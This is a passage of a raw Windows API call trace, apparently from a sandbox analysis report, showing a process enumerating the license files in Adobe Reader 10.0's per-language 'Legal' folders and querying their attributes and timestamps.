ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201d98 [0081.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265138 [0081.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.453] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201db8 [0081.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265240 [0081.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.454] GetLastError () returned 0x12 [0081.454] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.454] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.454] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.454] GetLastError () returned 0x12 [0081.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.455] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.455] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0081.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.455] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.456] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.456] NtClose (Handle=0x178) returned 0x0 [0081.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.457] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.457] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.457] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201dd8 [0081.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265348 [0081.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.458] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201df8 [0081.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265450 [0081.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.460] GetLastError () returned 0x12 [0081.460] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.460] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.460] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc750, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.460] GetLastError () returned 0x12 [0081.460] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.460] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.461] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0081.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.462] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f90 [0081.462] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.462] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f90) returned 1 [0081.463] NtClose (Handle=0x168) returned 0x0 [0081.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.463] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.463] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201e18 [0081.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265558 [0081.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.465] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201e38 [0081.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1265660 [0081.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.466] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.466] GetLastError () returned 0x12 [0081.466] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.467] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.467] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.467] GetLastError () returned 0x12 [0081.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.467] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.467] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, 